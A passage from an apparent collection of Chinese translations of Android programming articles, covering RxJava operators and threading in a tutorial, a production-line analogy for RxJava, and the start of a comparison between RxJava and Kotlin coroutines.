thread.\n```\n\n发生这种情况是因为在主线程中执行了 `search` 操作。如果 `search` 操作中存在网络访问请求， Android 应用会崩溃，并会发出一个 NetworkOnMainThreadException 异常。是时候来修复这个问题了。\n\nRxJava 中一个流传甚广的错误观点在于它默认是支持多线程的，类似于 `AsyncTask`，然而，如非特别指定，RxJava 会在它被调用的线程中执行所有的操作。\n\n你可以通过使用 `subscribeOn` 和 `observeOn` 操作符来改变这一行为。\n\n`subscribeOn` 应该只会在调用链中被调用一次。如果并非如此的话，那会以第一次调用时的线程为准。\n`subscribeOn` 指定了 observable 在哪个线程中被订阅（例如，被创建）。如果你在 Android 的 View 中使用 observable 发出事件，你需要确认订阅会在 Android UI 线程中执行。\n\n另一方面，在调用链中调用多少次 `observeOn` 都是可以的。`observeOn` 指定了链中的下一个操作符执行的线程，例如：\n\n```\nmyObservable // observable 将会在 i/o 线程被订阅\n  .subscribeOn(Schedulers.io())\n  .observeOn(AndroidSchedulers.mainThread())\n  .map(/* 将会在主线程被调用 */)\n  .doOnNext(/* ...下面的代码会等到下次 observeOn 时执行 */)\n  .observeOn(Schedulers.io())\n  .subscribe(/* 将会在 i/o 线程执行 */);\n```\n\n最有用的调度器有如下几个：\n\n- `Schedulers.io()`: 适合在 I/O 线程的工作，例如网络请求或磁盘操作。\n\n- `Schedulers.computation()`: 计算性的任务，比如事件轮循或者处理回调等。\n\n- `AndroidSchedulers.mainThread()` 在主线程中执行下个操作符的操作。\n\n## Map 操作符 ##\n\n`map` 操作符对 observable 发出的每一个事件应用一次函数变换，返回另外的一个发出函数执行结果类型事件的 observable。你也会用到它来处理线程调度问题。\n\n如果你有一个叫做 `numbers` 的 observable 发出如下事件：\n\n![map-0](https://koenig-media.raywenderlich.com/uploads/2016/08/map-0-1.png)\n\n并且你按着如下方式使用 `map` 操作符:\n\n```\nnumbers.map(new Function<Integer, Integer>() {\n  @Override\n  public Integer apply(Integer number) throws Exception {\n    return number * number;\n  }\n}\n```\n\n结果如下:\n\n![map-1](https://koenig-media.raywenderlich.com/uploads/2016/08/map-1-1.png)\n\n这是一种用较少的代码来遍历多个事件条目的巧妙方式。让我开始使用它吧！\n\n修改 `CheeseActivity` 类中的 `onStart()` 成如下形式：\n\n```\n@Override\nprotected void onStart() {\n  super.onStart();\n  Observable<String> searchTextObservable = createButtonClickObservable();\n \n  searchTextObservable\n      // 1\n      .observeOn(Schedulers.io())\n      // 2\n      .map(new Function<String, List<String>>() {\n        @Override\n        public List<String> apply(String query) {\n          return mCheeseSearchEngine.search(query);\n        }\n      })\n      // 3\n      .observeOn(AndroidSchedulers.mainThread())\n      .subscribe(new Consumer<List<String>>() {\n        @Override\n        public void accept(List<String> result) {\n          showResult(result);\n        }\n      });\n}\n```\n\n当看到提示时, 解决有歧义的 `Function` 依赖:\n\n```\nimportio.reactivex.functions.Function;\n```\n\n重新回顾一下上面的代码:\n\n1. 首先, 指定下一个操作符应该在 I/O 线程执行；\n\n2. 对于每一次查询，都会返回一个结果列表；\n\n3. 最后, 指定该位置处的代码应当在主线程，而不是 I/O 线程中运行。 在 Android 中, 所有对 `View` 的操作都应保证在主线程中执行。\n\n编译并运行工程. 现在 UI 界面哪怕在执行查询时应该也不会再卡顿了。\n\n## 利用 doOnNext 来显示进度条 ##\n\n是时候来展示进度条了!\n\n这需要用到 `doOnNext` 操作符。`doOnNext` 需要一个 `Consumer` 参数，它能让你在每次 observable 发出事件的时候做一些处理。\n\n同样地，需要在 `CheeseActivity` 类中修改 `onStart()` 成如下:\n\n```\n@Override\nprotected void onStart() {\n  super.onStart();\n  Observable<String> searchTextObservable = createButtonClickObservable();\n \n  searchTextObservable\n      // 1\n      .observeOn(AndroidSchedulers.mainThread())\n      // 2\n      .doOnNext(new Consumer<String>() {\n        @Override\n        public void accept(String s) {\n          showProgressBar();\n        }\n      })\n      .observeOn(Schedulers.io())\n      .map(new Function<String, List<String>>() {\n        @Override\n        public List<String> apply(String query) {\n          return mCheeseSearchEngine.search(query);\n        }\n      })\n      .observeOn(AndroidSchedulers.mainThread())\n      .subscribe(new Consumer<List<String>>() {\n        @Override\n        public void accept(List<String> result) {\n          // 3\n          hideProgressBar();\n          showResult(result);\n        }\n      });\n}\n```\n\n依次解释 3 条注释:\n\n1. 保证下一个操作符将会在主线程中执行；\n\n2. 添加 `doOnNext` 操作符以便 `showProgressBar()` 方法会在 observable 每次发出事件时被回调；\n\n3. 当你想要展示查询结果时，不要忘记调用 `hideProgressBar()` 方法。\n\n编译并运行工程。 当你开始查询时，你应该会看到进度条:\n\n![progressbar](https://koenig-media.raywenderlich.com/uploads/2016/09/progressbar-300x500.png)\n\n## 观察文本改变 ##\n\n如果你想在用户键入一些文字时自动执行搜索，就想Google一样，该怎样做呢？\n\n首先, 你需要订阅 `TextView` 的文本改变. 在 `CheeseActivity` 类中添加如下代码:\n\n```\n//1\nprivate Observable<String> createTextChangeObservable() {\n  //2\n  Observable<String> textChangeObservable = Observable.create(new ObservableOnSubscribe<String>() {\n    @Override\n    public void subscribe(final ObservableEmitter<String> emitter) throws Exception {\n      //3\n      final TextWatcher watcher = new TextWatcher() {\n        @Override\n        public void beforeTextChanged(CharSequence s, int start, int count, int after) {}\n \n        @Override\n        public void afterTextChanged(Editable s) {}\n \n        //4\n        @Override\n        public void onTextChanged(CharSequence s, int start, int before, int count) {\n          emitter.onNext(s.toString());\n        }\n      };\n \n      //5\n      mQueryEditText.addTextChangedListener(watcher);\n \n      //6\n      emitter.setCancellable(new Cancellable() {\n        @Override\n        public void cancel() throws Exception {\n          mQueryEditText.removeTextChangedListener(watcher);\n        }\n      });\n    }\n  });\n \n  // 7\n  return textChangeObservable;\n}\n```\n\n下面是每一步的详细解释:\n\n1. 声明一个方法，返回一个发出文本改变事件的 observable；\n\n2. 使用 `create()`方法创建 `textChangeObservable`, 它需要一个 `ObservableOnSubscribe` 参数；\n\n3. 当 observer 进行订阅时, 第一件事就是要创建一个 `TextWatcher`.\n\n4. 我们并不对 `beforeTextChanged()` 和 `afterTextChanged()` 方法感兴趣。当用户键入内容触发 `onTextChanged()` 方法时, 将文本值传递给 observer；\n\n5. 通过 `addTextChangedListener()` 方法将观察器添加到 `EditText` 上；\n\n6. 不要忘记移除观察器。调用 `emitter.setCancellable()` 并重写 `cancel()` 来调用 `removeTextChangedListener()` 方法；\n\n7. 最后, 返回创建的 observable。\n\n为了看到这个 observable 起作用, 将 `CheeseActivity` 类的 `onStart()` 方法中的 `searchTextObservable` 替换如下:\n\n```\nObservable<String> searchTextObservable = createTextChangeObservable();\n```\n\n编译并运行工程。你将会看到在 `TextView` 中键入内容后，即会开始查询：\n\n![text-view-changes-simple](https://koenig-media.raywenderlich.com/uploads/2016/09/text-view-changes-simple-300x500.png)\n\n## 按长度过滤查询 ##\n\n查询只有一个输入字母的结果是没有意义的。为了解决这个问题，让我们来引入强大的 `filter` 操作符。`filter` 只会让符合特定条件的事件通过。它采用一个 `Predicate` 作为参数，`Predicate` 是一个接口，在其中定义了一个输入指定的类型才会通过的测试，它返回一个 `boolean` 类型的结果。在这个例子中，Predicate 有一个 `String` 类型的入参，并在字符串的长度大于等于两个字符时返回 `true`。\n\n\n用下面的代码替换 `createTextChangeObservable()` 中的 `return textChangeObservable`:\n\n```\nreturn textChangeObservable\n    .filter(new Predicate<String>() {\n      @Override\n      public boolean test(String query) throws Exception {\n        return query.length() >= 2;\n      }\n    });\n```\n\n解决有歧义的 `Predicate` 依赖:\n\n```\nimport io.reactivex.functions.Predicate;\n```\n\n其它流程都保持不变，除了字符长度小于 `2` 的查询不会向下传递执行。\n\n运行这个工程；你将会看到只有当键入第二个字符时才会执行查询操作:\n\n![filter-0](https://koenig-media.raywenderlich.com/uploads/2016/09/filter-0-300x500.png)\n\n![filter-1](https://koenig-media.raywenderlich.com/uploads/2016/09/filter-1-300x500.png)\n\n## 防抖动操作符 ##\n\n你并不会想每次改变一个字符时都向服务器去请求一次查询。\n\n`防抖动` 是能展示响应式编程规范强大之处的操作符之一。非常类似 `filter` 操作符, `防抖动`, 对 observable 发出的事件进行过滤。但是决定事件该不该被过滤掉的原则不是靠判断发出的是什么事件，而是取决于何时发出的事件。\n\n`防抖动` 会在每个事件发出后等待指定的时间。如果在这等待期间没有其它事件发生，那么最后保留的事件将会被发送出去：\n\n![719f0e58_1472502674](https://koenig-media.raywenderlich.com/uploads/2016/08/719f0e58_1472502674-650x219.png) \n\n在 `createTextChangeObservable()` 方法中, 在 `filter` 操作符后添加 `debounce` 操作符，代码如下所示：\n\n```\nreturn textChangeObservable\n    .filter(new Predicate<String>() {\n      @Override\n      public boolean test(String query) throws Exception {\n        return query.length() >= 2;\n      }\n    }).debounce(1000, TimeUnit.MILLISECONDS);  // add this line\n\n```\n\n运行应用，你将会注意到只有当你停止快速键入时，才会执行查询操作：\n\n![debounce-500px](https://koenig-media.raywenderlich.com/uploads/2016/09/debounce-500px-1.gif)\n\n`防抖动`会等待 1000 毫秒后发出最近一次的查询事件。\n\n## 合并操作符 ##\n\n刚开始时，你创建了一个响应查询按钮点击事件的 observable，接着又实现了一个响应文字变化的 observable。但是怎样做到响应两者呢？\n\nRxJava 中有许多合并 observable 的操作符。最简便易用的就是 `merge`。\n\n`merge` 接收两个或更多 observable 发出的事件，然后将它们放入一个 observable 中：\n\n![ae08759b_1472502259](https://koenig-media.raywenderlich.com/uploads/2016/08/ae08759b_1472502259-650x296.png) \n\n将 `onStart()` 的开头改成如下形式:\n\n```\nObservable<String> buttonClickStream = createButtonClickObservable();\nObservable<String> textChangeStream = createTextChangeObservable();\n \nObservable<String> searchTextObservable = Observable.merge(textChangeStream, buttonClickStream);\n```\n\n运行应用。试一试键入文字或者点击查询按钮；查询操作会在完成输入两个以上的字符后或是点击查询按钮时被执行。\n\n## RxJava 与 Activity/Fragment 的生命周期 ##\n\n还记得你设置的那些　`setCancellable`　方法吗？除非这些 observable 被取消订阅，否则它们不会被触发。\n\n`Observable.subscribe()` 方法调用之后会返回一个 `Disposable`。 `Disposable` 是一个包括两个方法的接口:\n\n```\npublic interface Disposable {\n  void dispose();  // 结束订阅\n  boolean isDisposed(); // 当订阅结束后返回 true\n}\n```\n\n将如下字段添加到 `CheeseActivity` 类中:\n\n```\nprivate Disposable mDisposable;\n```\n\n在 `onStart()` 中, 添加如下代码将 `subscribe()` 方法的返回值赋值给 `mDisposable` (只需改变第一行):\n\n```\nmDisposable = searchTextObservable // 修改此行\n  .observeOn(AndroidSchedulers.mainThread())\n  .doOnNext(new Consumer<String>() {\n    @Override\n    public void accept(String s) {\n      showProgressBar();\n    }\n  })\n  .observeOn(Schedulers.io())\n  .map(new Function<String, List<String>>() {\n    @Override\n    public List<String> apply(String query) {\n      return mCheeseSearchEngine.search(query);\n    }\n  })\n  .observeOn(AndroidSchedulers.mainThread())\n  .subscribe(new Consumer<List<String>>() {\n    @Override\n    public void accept(List<String> result) {\n      hideProgressBar();\n      showResult(result);\n    }\n  });\n```\n\n既然已经在 `onStart()` 中进行了订阅，那么 `onStop()` 是取消订阅的极佳地点。\n\n将这段代码添加到 *CheeseActivity.java* 类中:\n\n```\n@Override\nprotected void onStop() {\n  super.onStop();\n  if (!mDisposable.isDisposed()) {\n    mDisposable.dispose();\n  }\n}\n```\n\n就是这样！完成！:]\n\n## 后续 ##\n\n你可以从[这里](https://koenig-media.raywenderlich.com/uploads/2016/12/CheeseFinder-final.zip)下载本教程中的最终版本项目。\n\n在本教程中，你已经学到了许多知识。但这仅是 RxJava 世界的一小部分。比如说，还有 [RxBinding](https://github.com/JakeWharton/RxBinding) , 一个包含大多数 Android View API 的库。使用这个库后，你只需调用 `RxView.clicks(viewVariable)` 来创建一个发出点击事件的 observable。\n\n想要了解更多关于 RxJava 的知识，请参考 [ReactiveX 文档](http://reactivex.io/documentation/operators.html).\n\n如果你有任何意见或者疑问，不要犹豫，立刻加入到下面的讨论中来！\n"
  },
  {
    "path": "TODO/rxjava-production-line.md",
    "content": "# 用工厂流水线的方式来理解 RxJava 的概念\n\n本文已授权微信公众号 AndroidDeveloper 独家发布。\n\n>* 原文链接 : [RxJava – the production line](http://www.thedroidsonroids.com/blog/android/rxjava-production-line/)\n* 原文作者 : [Mateusz Budzar]()\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Sausure](https://github.com/Sausure)\n* 校对者 : [lizhuo](https://github.com/huanglizhuo), [Rocky](https://github.com/rockzhai)\n\n##  为什么另写一篇 RxJava 的文章?\n\n已经有很多[ RxJava ](https://github.com/ReactiveX/RxJava)的文章通过例子阐述了什么是 RxJava 以及怎么去用，但它们大多数只有代码。虽然也会通过类比来解释，例如最出名的就是“流”。通常情况下代码能完美地让人理解（我们都是程序员，对吧？），但是 RxJava 十分不同于以往的 Android 开发。在最开始时通过代码是很难让人理解的，用“流”来类比并不足够，即使是[ marbles ](http://rxmarbles.com/)的例子也还远远不够。我可以保证自己能理解，但对于别人，老实说，难道你们不需要更多结合实际的例子？难道你们不想在脑海中举一个例子来让自己更好地理解 RxJava 吗？我做了，并且我想和你们分享。\n\n## 工厂流水线\n\n好吧，我说谎了。为了理解 RxJava，我在脑海里举了不仅仅一个例子。例如我尝试观察动物园笼子的动物，尝试观察河流里的鱼，也尝试去观察蝙蝠侠里的犯罪（额，这不是现实生活中的，但不失为一个很好的例子）。但我还是认为工厂流水线是最好的例子。\n\n![](http://ww1.sinaimg.cn/large/a490147fjw1f2ty3u29rzj20sg0fx0t6.jpg)\n\n### 需求\n\n我们先想象下，我们需要写一款应用来展示动物们的信息，并且现在我需要在新的界面实现以下功能：\n\n*   三份关于猫的信息\n*   每份都是唯一的\n*   每份都应该少于 300 字符\n*   每份都配张猫的图片\n\n### 启动流水线！\n\n我们尝试通过流水线上的工人们的帮助实现那些功能。\n\n1\\. 首先我们需要启动产品处理进程。仅仅有流水线是不足够的 - 还需要有人去启动它。例如一个对结果感兴趣的产品经理\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f2ty4x582tj20sg0fv0ts.jpg)\n\n2\\. 现在我们需要随机获得有关猫的信息。但怎么做呢？幸运的是这里有[ API ](http://catfacts-api.appspot.com/doc.html)能让我们很容易做到！真的是巧合么。。。？好吧，我们先通过 _GET_ 方法获取这些信息。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f2ty5f9qhpj20sg0fvjrz.jpg)\n\n3\\. 现在我们需要处理来自 API 的响应。它是由 HTTP 状态码和一列有关猫的信息组成。我们并不需要状态码所以我们首先去除它并将信息列表传给下一个工人。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f2ty67umsuj20sg0fudhh.jpg)\n\n4\\. 下一件要做的事就是将信息列表的信息一个个抽离出来。为什么要这么做？因为这样做方便下游的工人操作单个字符串（例如检查字符串是否过长）。\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f2ty6sggq4j20sg0fuwgd.jpg)\n\n5\\. 每条信息都是唯一的。下一个工人的任务是清除重复项。\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f2ty78qmzzj20sg0fsdhg.jpg)\n\n6\\. 每条信息都不能太长（少于 300 字符）\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f2ty7nfx7lj20sg0ftwfm.jpg)\n\n7\\. 现在我们的信息是唯一的且长度也符合要求可数量太多了而我们仅仅需要 3 份。所以下一个工人应该清除多余的信息。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f2ty83zoxfj20sg0fvdgp.jpg)\n\n8\\. 每条信息都有一张随机的猫的图片。\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f2ty8i3n9fj20sg0fwq49.jpg)\n\n9\\. 我们不应该将信息分批给产品经理，而是应该将这些信息打包成一个列表。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f2ty9j44v8j20sg0fvgmp.jpg)\n\n10\\. 现在产品经理可以在屏幕上显示结果了。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f2tya3eqinj20sg0fymya.jpg)\n\n这就是我们要做的。我们已经通过流水线上的工人完整地实现了全部功能并最后将结果显示到了屏幕上。\n\n### 若用 RxJava 实现这些需求该怎么做呢?\n\nRxJava 中存在很多可观察对象（它传出的数据可以被我们观察到）和观察者（它观察并处理可观察对象传出的数据）。在我们的例子里流水线就是可观察对象而产品经理就是观察者。需要注意的是观察者启动整个流水线这个步骤是十分重要的。如果没有观察者，流水线是不会启动的。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f2tyb17a9wj20sg0c5mxz.jpg)\n\n那么流水线上的工人算什么呢？在 RxJava 的世界里它们叫做操作符。它们的动作十分像工人 - 他们需要处理那些被传出的数据（例如仅仅让唯一的数据通过）\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f2tybbvu5hj20sg0cw0td.jpg)\n\n### 在代码世界实现流水线\n\n很好。可这么多图片有卵用？代码终究还是代码并不是一条流水线，不是吗？\n```java\n    mCatFactsService.getCatFacts(100)\n                    .map(catFactResponse -> catFactResponse.getFacts())\n                    .flatMap(catFacts -> Observable.from(catFacts))\n                    .distinct()\n                    .filter(catFact -> catFact.length() <= 300)\n                    .take(3)\n                    .map(catFact -> new CatFactWithImage(catFact, getRandomCatImageId()))\n                    .toList()\n                    .subscribeOn(Schedulers.io())\n                    .observeOn(AndroidSchedulers.mainThread())\n                    .subscribe(mCatFactsAdapter::setCatFactWithImages, Throwable::printStackTrace);\n```\n这样就能通过 RxJava 实现流水线了。为了理解上面的代码你应该从上到下看一遍。每个动作都是独立运行的 - 一个接着一个。\n\n*   **mCatFactsService.getCatFacts(100)** – 这个就是 _GET_ 方法。在响应里我们获得一个封装了 HTTP 状态码以及一列猫的信息的对象。`Observable` （即可观察对象）将这个对象（我们叫它 CatFactResponse 吧） 封装起来，现在我们就可以用 RxJava 的操作符对它进行处理。\n*   **map(), flatMap(), distinct(), filter(), take(), toList()** – 这些就是操作符。它们可以修改被传出的数据 - 一个接着一个。它们就像上面例子的图片中流水线上的工人。\n*   **subscribe()** – 让一个 `Observer` （即观察者）去订阅一个 `Observable`。若没有这一步整个流水线都无法启动。\n*   **subscribeOn()** – 告诉 `Observable` 当 _subscribe()_ 方法被调用后它应该在哪个线程被启动。接着每个操作符都会在那个线程工作直到我们改变线程。\n*   **observeOn()** – 改变下一个操作符的工作线程。每个在这个方法之后的操作符都会在它指定的新的线程里工作，直到我们通过别的 _observeOn()_ 改变线程。\n\n现在我们再仔细分析我们用过的每个操作符\n```java\n    .map(new Func1<CatFactResponse, List<String>>() {\n            @Override\n            public List<String> call(CatFactResponse catFactResponse) {\n                return catFactResponse.getFacts();\n            }\n    })\n```\n有可能你会不适应那花俏的箭头所以我将完整的实现展开了（当然我们可以通过 Java8 的 lambda 表达式实现那种语法 - 详情见[ retrolambda ](https://github.com/evant/gradle-retrolambda)）\n\n正如你说看到的， _mCatFactsService.getCatFacts()_ 返回一串数据并被传到 _CatFactResponse_ 中，但因为现在我们不需要 HTTP 状态码，所以我们通过 **MAP** （转换）操作符将 CatFactResponse 对象转换成别的对象 - 在这个例子中是 List <string> 对象。下一个操作符将会处理这个对象。\n```java\n    .flatMap(new Func1<List<String>, Observable<? extends String>>() {\n            @Override\n            public Observable<? extends String> call(List<String> catFacts) {\n                return Observable.from(catFacts);\n            }\n    })\n```\n`flatMap` 操作符接受猫的信息列表作为参数，分别取出列表的每条数据并抛给下一个操作符。所以我们拿到并抛出的数据都是 **FROM** （来自）这个列表的。\n```java\n    .distinct()\n```\n这个操作符用来处理重复项，并且它不会让任何已经通过的相同字符串再次通过。每个都是 **DISTINCT** (独特的)。\n```java\n    .filter(new Func1<String, Boolean>() {\n            @Override\n            public Boolean call(String catFact) {\n                return catFact.length() <= 300;\n            }\n    })\n```\n`filter` 操作符就是个简单的对/错判断表达式。如果字符串太长，将无法通过。所以 `filter` 很显然是用来 **FILTERS** （过滤的）。\n```java\n    .take(3)\n```\n`take` 操作符 **TAKES** （取出）指定数量的信息。\n```java\n    .map(new Func1<String, CatFactWithImage>() {\n            @Override\n            public CatFactWithImage call(String catFact) {\n                return new CatFactWithImage(catFact, getRandomCatImageId());\n            }\n    })\n```\n另一个 `map` 操作符。在我们打包所有字符串之前我们应该为每个字符串添加张猫的图片。\n```java\n    .toList()\n```\n现在我们可以打包所有 _CatFactWithImage_ 对象 **TO** （成）一个 **LIST** （列表）了。\n```java\n    .subscribe(new Observer<List<CatFactWithImage>>() {\n            @Override\n            public void onCompleted() {\n                //no-op\n            }\n\n            @Override\n            public void onError(Throwable e) {\n                e.printStackTrace();\n            }\n\n            @Override\n            public void onNext(List<CatFactWithImage> catFactWithImages) {\n                mCatFactsAdapter.setCatFactWithImages(catFactWithImages);\n            }\n    });\n```\n然后就是简单地将 `list` 对象传给 `adapter` 对象而已。\n\n## 结论\n\nRxJava 是款十分强大的工具。但不幸的是如果你之前没有通过“流”的形式写过代码你可能很难理解它并学会如何去用它。因为它十分不同于以往平常的安卓开发，所以我们需要一些比代码更形象的东西去理解它。我希望这篇文章能帮助你更好地理解 RxJava 是如何工作的。\n"
  },
  {
    "path": "TODO/rxjava-vs-kotlin-coroutines-quick-look.md",
    "content": "\n> * 原文地址：[RxJava vs. Kotlin Coroutines, a quick look](http://akarnokd.blogspot.jp/2017/09/rxjava-vs-kotlin-coroutines-quick-look.html)\n> * 原文作者：[Dávid Karnok](https://plus.google.com/113316559156085910174)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/rxjava-vs-kotlin-coroutines-quick-look.md](https://github.com/xitu/gold-miner/blob/master/TODO/rxjava-vs-kotlin-coroutines-quick-look.md)\n> * 译者：[PhxNirvana](https://github.com/phxnirvana)\n> * 校对者：[jamweak](https://github.com/jamweak)、[jerry-shao](https://github.com/jerry-shao)\n\n# 管中窥豹：RxJava 与 Kotlin 协程的对比\n\n## 引言\n\nKotlin 的协程是否让 RxJava 和 [响应式编程光辉不再](https://twitter.com/PreusslerBerlin/status/905001787215798273) 了呢？答案取决于你询问的对象。狂信徒和营销者们会毫不犹豫地是是是。如果真是这样的话，开发者们迟早会将 Rx 代码用协程重写一遍，抑或从一开始就用协程来写。\n因为 [协程](https://kotlinlang.org/docs/reference/coroutines.html) 目前还是实验性的，所以目前的诸如性能瓶颈之类的不足，都将逐渐解决。因此，相对于原生性能，本文的重点更在于易用性方面。\n\n## 方案设计\n\n假设有两个函数，**f1** 和 **f2**，用来模仿不可信的服务，二者都会在一段延迟之后返回一个数。调用这两个函数，将其返回值求和并呈现给用户。然而如果 500ms 之内没有返回的话，就不再指望它会返回值了，因此我们会在有限次数内取消并重试，直到超过次数最终放弃请求。\n\n## 协程的方式\n\n协程用起来就像是传统的 基于 **ExecutorService** 和 **Future** 的工具套装， 不同点在于协程的底层是用的挂起、状态机和任务调度来代替线程阻塞的。\n\n首先，写两个函数来实现延迟操作：\n\n```\nsuspend fun f1(i: Int) {\n    Thread.sleep(if (i != 2) 2000L else 200L)\n    return 1;\n}\n\nsuspend fun f2(i: Int) {\n    Thread.sleep(if (i != 2) 2000L else 200L)\n    return 2;\n}\n```\n\n与协程调度有关的函数需要加上 **suspend** 关键字并通过协程上下文来调用。为了演示上面的目的，如果传入参数不是 2 的时候，函数会延迟 2s。这样就会让超时检测将其结束掉，并在第三次尝试时在规定时间内成功。\n\n因为异步总会在结束时离开主线程，我们需要一个方法来在业务逻辑完成前阻塞它，以防止直接退出 JVM。为了达到目的，可以使用 **runBlocking** 在主线程中调用函数。\n\n```\nfun main(arg: Array<string>) = runBlocking <unit>{\n\n     coroutineWay()\n\n     reactiveWay()\n}\n\nsuspend func coroutineWay() {\n    // TODO implement\n}\n\nfunc reactiveWay() {\n    // TODO implement\n}</unit> </string>\n```\n\n相比 RxJava 的函数式，用协程写出来的代码逻辑更简洁，而且代码看起来就像是线性和同步的一样。\n\n```\nsuspend fun coroutineWay() {\n    val t0 = System.currentTimeMillis()\n\n    var i = 0;\n    while (true) {                                       // (1)\n        println(\"Attempt \" + (i + 1) + \" at T=\" +\n            (System.currentTimeMillis() - t0))\n\n        var v1 = async(CommonPool) { f1(i) }             // (2)\n        var v2 = async(CommonPool) { f2(i) }\n\n        var v3 = launch(CommonPool) {                    // (3)\n            Thread.sleep(500)\n            println(\"    Cancelling at T=\" +\n                (System.currentTimeMillis() - t0))\n            val te = TimeoutException();\n            v1.cancel(te);                               // (4)\n            v2.cancel(te);\n        }\n\n        try {\n            val r1 = v1.await();                         // (5)\n            val r2 = v2.await();\n            v3.cancel();                                 // (6)\n            println(r1 + r2)\n            break;                                       \n        } catch (ex: TimeoutException) {                 // (7)\n            println(\"         Crash at T=\" +\n                (System.currentTimeMillis() - t0))\n            if (++i > 2) {                               // (8)\n                throw ex;\n            }\n        }\n    }\n    println(\"End at T=\" \n        + (System.currentTimeMillis() - t0))             // (9)\n\n}\n```\n\n添加的一些输出是用来观察这段代码如何运行的。\n\n1. 通常线性编程的情况下，是没有直接重试某个操作的快捷方法的，因此，我们需要建立一个循环以及重试计数器 **i**。\n2. 通过 **async(CommonPool)** 来执行异步操作，该函数可以在一些后台线程立即启动并执行函数。该函数会返回一个 **Deferred<Int>**，稍后会用到这个值。 如果用 await() 来得到 **v1** 作为最终值的话，当前线程将会挂起，另外，对 **v2** 的计算也不会开始，除非前一个恢复执行。除此以外，我们还需要在超时的情况下取消当前操作的方法。参考步骤 3 和 5。\n3. 如果想让两个操作都超时的话，看起来我们只能在另一个异步线程中执行等待操作。**launch(CommonPool)** 方法会返回一个可以用在这种情况下的 **Job** 对象。 与 **async** 的区别是，这样执行无法返回值。之所以保存返回的 **Job** 是因为先前的异步操作可能及时返回，就不再需要取消操作了。\n4. 在超时的任务中，我们用 **TimeoutException** 来取消 **v1** 和 **v2** ，这将恢复任何已经挂起来等待二者返回的操作。\n5. 等待两个函数运行结果。如果超时，**await** 将重新扔出在第四步中使用的异常。\n6. 如果没有异常，则取消不再需要执行的超时任务，并跳出循环。\n7. 如果有超时，则走老一套捕获异常并执行状态检查来确定下一步操作。注意任何其他异常都会直接被抛出并退出循环。\n8. 万一是第三次或更多次的尝试，直接扔出异常，什么都不做。\n9. 如果一切按剧本走，打印运行的总时间，然后退出当前函数。\n\n看起来挺简单的，尽管取消机制可能搞个大新闻：如果 **v2** 因为其他异常（比如网络原因导致的 **IOException**）崩溃了呢？当然我们得处理这些情况来确保任务可以在各种情况下被取消（举个栗子，试试 Kotlin 中的资源？）。然而，这种情况发生的背景是 **v1** 会及时返回，直到尝试 await 之前都无法取消 **v1** 或检测 **v2** 的崩溃。\n\n不要在意那些细节，反正程序跑起来了，运行结果如下：\n\n```\nAttempt 1 at T=0\n    Cancelling at T=531\n         Crash at T=2017\nAttempt 2 at T=2017\n    Cancelling at T=2517\n         Crash at T=4026\nAttempt 3 at T=4026\n3\nEnd a\n```\n\n一共进行了 3 次尝试，最后一次成功了，值是 3。是不是和剧本一模一样的？一点都不快（此处有双关（译者并没有看出来哪里有双关））！ 我们可以看到取消事件发生的大概时间，两次不成功的请求之后大约 500 ms ，然而异常捕获发生在大约 2000 ms 之后！我们知道 **cancel()** 被成功调用是因为我们捕获了异常。然而，看起来函数中的 **Thread.sleep()** 并没有被打断，或者用协程的说法，没有在打断异常时恢复。这可能是 **CommonPool** 的一部分，对 **Future.cancel(false)** 的调用处于基础结构中，抑或只是简单的程序限制。\n\n## 响应式\n\n接下来我们看看 RxJava 2 是如何实现相同操作的。让人失望的是，如果函数前加了 suspended，就无法通过普通方式调用了，所以我们还得用普通方法重写一下两个函数：\n\n\n```\nfun f3(i: Int) : Int {\n    Thread.sleep(if (i != 2) 2000L else 200L)\n    return 1\n}\n\nfun f4(i: Int) : Int {\n    Thread.sleep(if (i != 2) 2000L else 200L)\n    return 2\n}\n```\n\n为了匹配阻塞外部环境的功能，我们采用  [RxJava 2 Extensions](https://github.com/akarnokd/RxJava2Extensions#blockingscheduler) 中的 BlockingScheduler 来提供返回到主线程的功能。顾名思义，它阻塞了一开始的调用者/主线程，直到有任务通过调度器来提交并运行。\n\n```\nfun reactiveWay() {\n    RxJavaPlugins.setErrorHandler({ })                         // (1)\n\n    val sched = BlockingScheduler()                            // (2)\n    sched.execute {\n        val t0 = System.currentTimeMillis()\n        val count = Array<Int>(1, { 0 })                       // (3)\n\n        Single.defer({                                         // (4)\n            val c = count[0]++;\n            println(\"Attempt \" + (c + 1) +\n                \" at T=\" + (System.currentTimeMillis() - t0))\n\n            Single.zip(                                        // (5)\n                    Single.fromCallable({ f3(c) })\n                        .subscribeOn(Schedulers.io()),\n                    Single.fromCallable({ f4(c) })\n                        .subscribeOn(Schedulers.io()),\n                    BiFunction<Int, Int> { a, b -> a + b }               // (6)\n            )\n        })\n        .doOnDispose({                                         // (7)\n            println(\"    Cancelling at T=\" + \n                (System.currentTimeMillis() - t0))\n        })\n        .timeout(500, TimeUnit.MILLISECONDS)                   // (8)\n        .retry({ x, e ->\n            println(\"         Crash at \" + \n                (System.currentTimeMillis() - t0))\n            x < 3 && e is TimeoutException                     // (9)\n        })\n        .doAfterTerminate { sched.shutdown() }                 // (10)\n        .subscribe({\n            println(it)\n            println(\"End at T=\" + \n                (System.currentTimeMillis() - t0))             // (11)\n        },\n        { it.printStackTrace() })\n    }\n}\n```\n\n实现起来有点长，对那些不熟悉 lambda 的人来说看起来可能有点可怕。\n\n1. 众所周知 RxJava 2 无论如何都会传递异常。在 Android 上，无法传递的异常会使应用崩溃，除非使用 **RxJavaPlugins.setErrorHandler** 来捕获。在此，因为我们知道取消事件会打断 **Thread.sleep()** ，调用栈打出来的结果只会是一团乱麻，我们也不会去注意这么多的异常。\n2. 设置 **BlockingScheduler** 